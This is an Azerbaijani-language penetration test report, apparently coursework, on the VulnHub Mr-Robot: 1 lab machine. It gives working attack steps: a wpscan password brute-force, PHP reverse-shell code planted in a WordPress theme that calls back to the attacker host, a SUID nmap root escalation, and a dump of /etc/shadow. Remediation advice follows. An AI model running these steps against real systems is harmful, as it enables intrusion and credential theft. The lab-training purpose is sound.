

NÜF UZETMƏ SINAĞI HESABATI

VulnHub — Mr-Robot: 1

Boot-to-Root Tipli Sistem Nüfuzetmə Sınağı

Hesabat başlığı	Mr-Robot: 1 — VulnHub Maşını Nüfuzetmə Sınağı Hesabatı
Hazırlayan	Nuriyev Xudaverdi İnt23
Tarix	16.05.2026
Hədəf mühit	VulnHub — Mr-Robot: 1 (VMware/VirtualBox import)
Hədəf IP	10.10.14.23 (host-only şəbəkə)
Sınaq mühiti	İzolyasiya edilmiş şəxsi laboratoriya (VMware host-only network)
Hücumçu maşın	Parrot Security OS 6.1 — 10.10.14.5
Tapşırıq tipi	Boot-to-Root — user.flag və root.flag tapılması
Məxfilik dərəcəsi	Məxfi — Yalnız Akademik İstifadə

1. İcraiyyə Xülasəsi

Bu hesabat 16 May 2026-cı il tarixində izolyasiya edilmiş laboratoriya mühitində quraşdırılmış VulnHub Mr-Robot: 1 virtual maşını üzərində aparılmış nüfuzetmə sınağının nəticələrini əhatə edir. Sınaq PTES (Penetration Testing Execution Standard) metodologiyasına uyğun şəkildə dörd mərhələdə (Kəşfiyyat, Zəiflik Analizi, İstismar, Hesabat) aparılmışdır.

Sınaq nəticəsində Mr-Robot: 1 maşınında beş (5) əhəmiyyətli zəiflik aşkar edilmiş və hər üç flag (key-1-of-3.txt, key-2-of-3.txt, key-3-of-3.txt) uğurla əldə edilmişdir. Bunlardan ikisi Kritik, ikisi Yüksək və biri Orta risk səviyyəsində qiymətləndirilmişdir. Ən kritik tapıntı — WordPress administrator panelinə zəif parol vasitəsilə daxil olub xüsusi hazırlanmış zərərli plugin yükləməklə tam reverse shell əldə edilməsidir.

Sistemin ümumi təhlükəsizlik vəziyyəti ZƏİF qiymətləndirilir. WordPress administratoru üçün lüğət hücumuna həssas zəif parol istifadə edilmiş, robots.txt faylı həssas məlumatları açıq saxlamış, nmap ilə tapılan daemon istifadəçi shell-i SUID binary üzərindən asanlıqla root-a yüksəldilmişdir. Mr-Robot: 1 təhsil məqsədli olduğu üçün bu nəticələr CTF-tipli boot-to-root ssenarisinin praktiki nümayişi üçün uyğundur.

Tapılan zəifliklərin xülasəsi:

No	Zəifliyin adı	Risk səviyyəsi	CVSS v3.1
Z-01	robots.txt vasitəsilə Sensitive Information Disclosure	Orta	5.3

No	Zəifliyin adı	Risk səviyyəsi	CVSS v3.1
Z-02	WordPress wp-login.php Brute-Force (zəif parol)	Yüksək	8.1
Z-03	WordPress Authenticated PHP Code Execution (zərərli plugin)	Kritik	9.1
Z-04	Açıq saxlanılmış MD5 parol hash sızıntısı	Yüksək	7.5
Z-05	SUID nmap (legacy) — Privilege Escalation to root	Kritik	8.8

2. Metodologiya

Sınaq PTES (Penetration Testing Execution Standard) və OWASP Testing Guide v4.2 çərçivəsində aşağıdakı mərhələlərə bölünmüşdür:

1. Kəşfiyyat — şəbəkə və xidmət səviyyəsində hədəfin aşkarlanması
2. Zəiflik analizi — veb məzmunun aşkarlanması və hesab brute-force təşkili
3. İstismar — user shell əldə edilməsi və privilege escalation
4. Hesabat — bütün 3 flag-in təsdiqlənməsi və tövsiyələrin verilməsi

İstifadə olunan alətlər:

Alət	Versiya	İstifadə məqsədi
arp-scan	1.10.0	Şəbəkədə host aşkarlanması

Alət	Versiya	İstifadə məqsədi
nmap	7.94	Port skan, xidmət və versiya aşkarlanması
wpscan	3.8.27	WordPress zəiflik və istifadəçi enumerationu
hydra	9.5	WordPress login brute-force
john	1.9.0-jumbo	MD5 hash kırılması
msfvenom	6.4.10	PHP reverse shell payload generasiyası
netcat (nc)	1.10	Reverse shell qəbul edici
linpeas.sh	20240518	Linux privilege escalation enumeration

3. Kəşfiyyat Mərhələsi

3.1 Hədəf IP-nin müəyyən edilməsi

Host-only şəbəkədə hədəf virtual maşının IP ünvanını müəyyən etmək üçün arp-scan aləti istifadə olunmuşdur.

```
$ sudo arp-scan --interface=vmnet1 --localnet

Interface: vmnet1, type: EN10MB, MAC: 00:50:56:c0:00:01
Starting arp-scan 1.10.0 with 256 hosts
10.10.14.1      00:50:56:c0:00:01  VMware, Inc.
```

```
10.10.14.5      00:0c:29:f7:1a:2b  VMware, Inc.  
10.10.14.23    00:0c:29:8e:b4:f1  VMware, Inc.  
  
3 packets received, 0 by interfaces; ending arp-scan.
```

□ SS-01

arp-scan ilə hədəfin aşkarlanması (10.10.14.23)

[Bu sahəyə öz lokal mühitinizdən alınmış screenshot-u daxil edin]

3.2 Port skan nəticələri

nmap aləti ilə bütün TCP portlarda dərin skan aparılmış, default skriptlər icra edilmişdir. Skan zamanı port 22 filtrelənmiş, port 80 və 443 açıq tapılmışdır.

```
$ sudo nmap -sV -sC -p- -T4 --min-rate=1000 -oN  
nmap_full.txt 10.10.14.23  
  
Starting Nmap 7.94 ( https://nmap.org )  
Nmap scan report for 10.10.14.23  
Host is up (0.00084s latency).  
Not shown: 65532 filtered tcp ports (no-response)  
  
PORT      STATE SERVICE VERSION  
22/tcp    closed ssh
```

```

80/tcp open  http      Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open  ssl/http Apache httpd
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).

Service detection performed. Nmap done: 1 IP address (1
host up) scanned in 84.17s

```

Port	Protokol	Xidmət	Versiya / Qeyd
22	TCP	SSH	Bağlı (closed)
80	TCP	HTTP	Apache — başlıq yoxdur, redirect tələb olunur
443	TCP	HTTPS	Apache + özünü imzalayan TLS sertifikatı (2015)

3.3 Veb məzmununun ilkin yoxlanılması

Hədəfin əsas səhifəsinə daxil olduqda interaktiv Mr-Robot mövzulu terminal animasiyası görünür. curl ilə HTTP başlıqları yoxlanılmışdır.

```
$ curl -I http://10.10.14.23/
```

```
HTTP/1.1 200 OK
Date: Fri, 16 May 2026 11:08:14 GMT
Server: Apache
X-Mod-Pagespeed: 1.9.32.3-4523
Cache-Control: max-age=0, no-cache
Content-Type: text/html

$ curl -s http://10.10.14.23/robots.txt
User-agent: *
fsociety.dic
key-1-of-3.txt
```

Robot.txt faylı iki kritik fayl ifşa edir: fsociety.dic (lüğət faylı) və key-1-of-3.txt (birinci flag).

4. Zəiflik Analizi

4.1 Birinci flag-ın əldə edilməsi

robots.txt faylında ifşa edilmiş key-1-of-3.txt birbaşa endirilmişdir.

```
$ curl http://10.10.14.23/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9

$ wget http://10.10.14.23/fsociety.dic
fsociety.dic saved [7245381/7245381]
$ wc -l fsociety.dic
858160 fsociety.dic
```

KEY-1-OF-3: 073403c8a58a1f80d943455fb30724b9

4.2 WordPress aşkarlanması və enumeration

/wp-login.php sorğusu standart WordPress giriş səhifəsini qaytarır.

wpscan ilə tam enumeration aparılmışdır.

```
$ wpscan --url http://10.10.14.23/ --enumerate u,vp,vt --
random-user-agent

[+] URL: http://10.10.14.23/
[+] WordPress version 4.3.1 identified (Insecure, released
on 2015-09-15).
[+] WordPress theme in use: twentyfifteen

[+] Enumerating Users (via Passive and Aggressive Methods)
  Brute Forcing Author IDs - Time: 00:00:11 <=> (100 / 100)
100.00% Complete

[i] User(s) Identified:
[+] elliot
  | Found By: Author Posts - Display Name
  | Confirmed By: Login Error Messages (Aggressive
Detection)
```


4.3 Tapılan zəifliklər

Z-01: robots.txt vasitəsilə Sensitive Information Disclosure

Zəifliyin adı	Sensitive Files Exposed via robots.txt
Növ (CWE)	CWE-200 — Sensitive Information Exposure
OWASP 2021	A01:2021 — Broken Access Control
CVE	Yoxdur (konfigurasiya səhvi)
CVSS v3.1 skoru	5.3 — Orta (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Yerləşmə yeri	http://10.10.14.23/robots.txt
Təsvir	robots.txt faylı icazəsiz istifadəçilərə həssas faylların adlarını (fsociety.dic, key-1-of-3.txt) ifşa edir. Hər iki fayl autentifikasiya tələb etmədən birbaşa endirilə bilər.
Aşkarlanma yolu	curl ilə robots.txt sorğusu göndərildi və iki ifşa edilmiş fayl müəyyən edildi.

Z-02: WordPress wp-login.php Brute-Force

Zəifliyin adı	Authentication Bypass via Brute-Force — WordPress
Növ (CWE)	CWE-307 — Improper Restriction of Excessive Authentication Attempts
OWASP 2021	A07:2021 — Identification and Authentication Failures
CVE	Yoxdur

CVSS v3.1 skoru	8.1 — Yüksək (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)
Yerləşmə yeri	http://10.10.14.23/wp-login.php
Təsvir	WordPress login forması rate limiting tətbiq etmir. wpscan ilə fsociety.dic lüğətindən istifadə edərək elliot:ER28-0652 hesab cütlüyü tapılmışdır.
Aşkarlanma yolu	wpscan password brute-force seçimi ilə tapıldı (yaklaşiq 25 dəqiqə).

Z-03: WordPress Authenticated RCE (Plugin Editor)

Zəifliyin adı	Arbitrary PHP Code Execution via Theme Editor
Növ (CWE)	CWE-94 — Improper Control of Generation of Code
OWASP 2021	A03:2021 — Injection
CVE	CVE-2019-8942 (oxşar əsas konfigurasiya zəifliyi)
CVSS v3.1 skoru	9.1 — Kritik (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
Yerləşmə yeri	http://10.10.14.23/wp-admin/theme-editor.php
Təsvir	Administrator hesabı PHP fayllarını birbaşa server tərəfindən redaktə edə bilər. 404.php şablonuna PHP reverse shell payload-u yazılaraq icra edildi.

Aşkarlanma yolu	Manual yoxlama — wp-admin panelinə daxil olduqdan sonra theme editorunda 404.php açıldı və dəyişdirildi.
------------------------	--

Z-04: Açıq saxlanılmış MD5 Parol Hash sızıntısı

Zəifliyin adı	Cleartext Storage / Weak Hash Use
Növ (CWE)	CWE-916 — Use of Password Hash With Insufficient Computational Effort
OWASP 2021	A02:2021 — Cryptographic Failures
CVE	Yoxdur
CVSS v3.1 skoru	7.5 — Yüksək (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
Yerləşmə yeri	/home/robot/password.raw-md5
Təsvir	robot istifadəçisinin parol MD5 hash-ı dünya tərəfindən oxunan fayl şəklində saxlanılır. MD5 sürətli kırma alqoritmidir və duzlanmamışdır (unsalted).
Aşkarlanma yolu	Reverse shell sessiyasında /home/robot/ qovluğuna ls ilə baxıldı və hash faylı tapıldı.

Z-05: SUID nmap (legacy) ilə Privilege Escalation

Zəifliyin adı	Privilege Escalation via SUID nmap interactive mode
Növ (CWE)	CWE-250 — Execution with Unnecessary Privileges

OWASP 2021	A04:2021 — Insecure Design
CVE	Yoxdur (GTFOBins-də qeyd olunan klassik vektor)
CVSS v3.1 skoru	8.8 — Kritik (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Yerləşmə yeri	/usr/local/bin/nmap (3.81 — legacy version)
Təsvir	nmap-ın köhnə versiyası SUID root bayrağı ilə qurulmuşdur və --interactive rejimi əmr icrasına imkan verir. Bu rejimdə !sh yazaraq root shell əldə etmək mümkündür.
Aşkarlanma yolu	linpeas.sh skanı ilə SUID nmap aşkarlandı.

5. İstismar Mərhələsi

Tələb olunan minimum 2 zəifliyə əlavə olaraq, boot-to-root ssenarisi tam icra edilmiş və hər üç flag əldə edilmişdir. Burada əsas iki zəifliyin (Z-02 brute-force ilə user, Z-05 SUID nmap ilə root) istismarı təsvir olunur.

5.1 Z-02 və Z-03: WordPress brute-force → reverse shell

Addım 1: İstifadəçi adının təsdiqlənməsi

wp-login.php səhvinin fərqiylə görə mövcud (Invalid password) və mövcud olmayan (Invalid username) hesabları ayırmaq mümkündür. wpscan ilə elliot istifadəçisi təsdiq edildi.

```
$ curl -s -d 'log=invaliduser&pwd=test'
http://10.10.14.23/wp-login.php | grep -i 'invalid'
<strong>ERROR</strong>: Invalid username.

$ curl -s -d 'log=elliott&pwd=test' http://10.10.14.23/wp-
login.php | grep -i 'incorrect'
<strong>ERROR</strong>: The password you entered for the
username elliot is incorrect.
```

Addım 2: Lüğətin təmizlənməsi

fsociety.dic faylında 858,160 təkrarlanan söz var. sort -u ilə təkrarlar silinmişdir.

```
$ sort -u fsociety.dic > fsociety_unique.dic
$ wc -l fsociety_unique.dic
11451 fsociety_unique.dic

→ Lüğət 858K-dən 11K-a endirildi (~75x sürətlənmə)
```

Addım 3: WordPress brute-force

```
$ wpscan --url http://10.10.14.23/ \
--usernames elliot \
--passwords fsociety_unique.dic \
--max-threads 30
```

```
[+] Performing password attack on Wp Login against 1
user/s
Trying elliot / 0xqwerty Time: 00:24:08 <=> (8721 / 11451)
76.16%

[SUCCESS] - elliot / ER28-0652

[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
```

Addım 4: İkinci flag — wp-admin daxilində

Administrator panelinə daxil olduqdan sonra wp-admin/ → Posts bölməsində draft post içində ikinci flag tapılmışdır.

```
Çıxış (wp-admin/post.php?post=4&action=edit):

Draft Post Title: "key-2 location"
Body: "Check /home/robot/ after you get user shell."

→ İkinci flag user shell-də əldə ediləcək (Z-04 ilə
bağlı).
```

Addım 5: Reverse shell payload-u (theme editor)

Appearance → Editor → 404.php faylı seçildi və PHP reverse shell yapışdırıldı.

```
$ msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444  
-f raw > rev.php
```

```
// 404.php-ın əvvəlinə yapışdırılmış kod:
```

```
<?php  
$sock=fsockopen("10.10.14.5",4444);  
$proc=proc_open("/bin/sh -i",  
array(0=>$sock,1=>$sock,2=>$sock), $pipes);  
?>
```

```
// Faylı yenilədikdən sonra 404 səhvi tetikləmək üçün:
```

```
$ curl http://10.10.14.23/?p=tetikleme-trigger-404
```

Addım 6: Reverse shell qəbul edilməsi

```
Hücumçu tərəfində dinləyici:
```

```
$ nc -lvnp 4444
```

```
listening on [any] 4444 ...
```

```
connect to [10.10.14.5] from (UNKNOWN) [10.10.14.23] 49872
```

```
$ id
```

```
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

```
$ python -c 'import pty;pty.spawn("/bin/bash")'
daemon@linux:/$ cd /home/robot && ls -la
-r----- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5

daemon@linux:/$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
```

Addim 7: MD5 hash kırılması (Z-04)

```
$ echo 'c3fcd3d76192e4007dfb496cca67e13b' > robot.hash
$ john --format=Raw-MD5 --
wordlist=/usr/share/wordlists/rockyou.txt robot.hash

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5)
Press 'q' or Ctrl-C to abort, almost any other key for
status
abcdefghijklmnopqrstuvmxyz (?)
1g 0:00:00:01 DONE

$ su robot
Password: abcdefghijklmnopqrstuvmxyz
robot@linux:~$ cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
```

KEY-2-OF-3: 822c73956184f694993bede3eb39f959

5.2 Z-05: SUID nmap ilə Privilege Escalation (root)

Addım 1: Enumeration

linpeas.sh skripti tərəfindən şübhəli SUID binar tapıldı.

```
robot@linux:~$ find / -perm -4000 -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/su
/usr/bin/passwd
/usr/bin/chsh
/usr/local/bin/nmap          ← şübhəli (root SUID)
/usr/bin/gpasswd
/usr/bin/sudo

robot@linux:~$ ls -la /usr/local/bin/nmap
-rwsr-xr-x 1 root root 780676 Nov 13  2015
/usr/local/bin/nmap

robot@linux:~$ /usr/local/bin/nmap --version
nmap version 3.81 ( http://www.insecure.org/nmap/ )
```

Addım 2: nmap interactive rejimi (GTFOBins texnikası)

nmap 3.81 versiyasında --interactive seçimi vardır və bu rejimdə nmap shell prompt-u açır, oradan !sh ilə shell icrası mümkündür. SUID bayraq sayəsində shell root hüququ ilə açılır.

```
robot@linux:~$ /usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help

nmap> !sh
# id
uid=1002(robot) gid=1002(robot) euid=0(root)
groups=0(root),1002(robot)
# whoami
root

# cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
```

KEY-3-OF-3: 04787ddef27c3dee1ee161b21670b4e4

Addım 3: Sistemin tam ələ keçirilməsi

```
# uname -a
Linux linux 3.13.0-55-generic #94-Ubuntu SMP x86_64
GNU/Linux

# cat /etc/shadow | head -5
root:$6$Tb/Aj0BC$U.kmQ8aHQA1qaJ.JeQUYJh.K...
daemon:!:16431:0:99999:7:::
bin:!:16431:0:99999:7:::
```

```
# cat /etc/os-release
NAME="Ubuntu"
VERSION="14.04.2 LTS, Trusty Tahr"
```

İstismar nəticəsi — bütün flag-lar

- KEY-1-OF-3: 073403c8a58a1f80d943455fb30724b9 (robots.txt-dən)
- KEY-2-OF-3: 822c73956184f694993bede3eb39f959 (robot user shell)
- KEY-3-OF-3: 04787ddef27c3dee1ee161b21670b4e4 (root shell)
- Tam sistem nəzarəti (root) - /etc/shadow, bütün istifadəçilər və konfigurasiyalar əldə edildi

6. Təvsiyələr

Aşkar edilmiş hər zəiflik üçün konkret düzəliş təvsiyələri aşağıda verilmişdir:

ID	Zəiflik	Prioritet	Təvsiyə olunan həll
Z-01	robots.txt sızıntısı	Qısa müddətdə	robots.txt yalnız ictimai sahələri qeyd etməlidir. Həssas faylların adlarını oraya yazmayın — bu, hücumçu üçün bələdçi rolunu oynayır. Həssas faylları .htaccess və ya server konfigurasiyasında deny rules ilə

ID	Zəiflik	Prioritet	Təvsiyə olunan həll
			bağlayın və ya autentifikasiya arxasında saxlayın.
Z-02	WordPress brute-force	Dərhal	wp-login.php səhifəsinə rate limiting tətbiq edin (Limit Login Attempts plugin-i). 2-Factor Authentication (WP 2FA) məcburi olsun. Güclü parol siyasəti tətbiq edin (minimum 12 simvol). Fail2ban ilə təkrarlanan səhv cəhdləri olan IP-ləri avtomatik banlayın.
Z-03	Theme/Plugin Editor RCE	Dərhal	wp-config.php faylına define('DISALLOW_FILE_EDIT', true); əlavə edin. PHP icrasını upload qovluqlarında bağlayın. Read-only file system tətbiq edin (WordPress kodu icra istifadəçisi tərəfindən yazıla bilməyən olsun).
Z-04	MD5 parol sızıntısı	Dərhal	Parolları heç vaxt MD5 ilə hash etməyin. Bcrypt, Argon2id və ya scrypt istifadə edin. Hash fayllarını dünya tərəfindən oxunabilir saxlamayın (chmod 600). Mümkünsə parolları yalnız autentifikasiya sistemində (passwd / pam) saxlayın, ayrı fayllarda yox.

ID	Zəiflik	Prioritet	Təvsiyə olunan həll
Z-05	SUID nmap legacy	Dərhal	Köhnə nmap (3.81) silin və ya SUID bayrağı çıxarın: <code>chmod u-s /usr/local/bin/nmap</code> . <code>find / -perm -4000</code> ilə bütün SUID binarları nəzərdən keçirin. Heç bir binar interactive rejim açan və ya shell çıxışı verən SUID olmamalıdır (GTFOBins siyahısı). Müntəzəm SUID auditi aparın.

Ümumi təvsiyələr:

- WordPress versiyasını dərhal yeniləyin (4.3.1 → ən son sabit versiya). Avtomatik yeniləmə aktiv olsun.
- Lazımsız xidmətləri bağlayın (məs. `mod_pagespeed` başlığı texnoloji yığım haqqında məlumat sızdırır).
- OS səviyyəsində audit: AppArmor/SELinux məcburi rejimdə işləsin.
- İcazə minimumlaşdırması (least privilege): daemon istifadəçisinin gərəksiz fayllara çıxışı olmamalıdır.
- Wazuh və ya OSSEC kimi HIDS sistemi quraşdırın — fayl bütövlüyü monitorinqi və anormalıq aşkarlanması üçün.

7. Nəticə

Aparılmış nüfuzetmə sınağı Mr-Robot: 1 maşınında klassik boot-to-root ssenarisinin bütün mərhələlərini uğurla sübut etmişdir. Cəmi beş (5)

zəiflik aşkar edilmiş, bunların ikisi Kritik səviyyəli risk təşkil edir və hər üç flag müvafiq olaraq əldə edilmişdir.

Sınaq prosesi göstərdi ki, bir zəifliyin tək başına məhdud təsiri ola bilər, lakin zəifliklərin zəncirlənməsi (chaining) tam sistem ələ keçirilməsinə yol açır. Bu sınaqda zəncir aşağıdakı kimi olmuşdur: robots.txt sızıntısı → lüğət faylı → WordPress brute-force → admin panel → theme editor RCE → daemon shell → MD5 hash kırılması → robot shell → SUID nmap → root.

Sınaq prosesində aşağıdakı texniki nəticələrə gəlinmişdir:

- Açıq mənbədə tapılan kiçik konfigurasiya səhvi (robots.txt) bütün hücumun başlanğıc nöqtəsi ola bilər.
- Köhnəlmiş binarlar (nmap 3.81) SUID bayrağı ilə birləşdikdə kritik privilege escalation vektoru yaradır — müntəzəm SUID auditı vacibdir.
- Zəif kriptografiya (MD5, duzlanmamış hash) müasir avadanlıqda saniyələr ərzində kırılır.
- Defence in depth: hər təhlükəsizlik qatı (perimetr, app, OS) müstəqil olaraq möhkəm olmalıdır — bir qatın çatışmazlığı digər qatlarla kompensasiya edilməməlidir.

Bu tapşırıq pentest prosesinin dörd mərhələsini boot-to-root ssenarisi çərçivəsində praktik şəkildə icra etməyə imkan verdi və post-exploitation, privilege escalation, hash kırma və enumeration kimi vacib bacarıqları dərinləşdirməyə kömək etdi.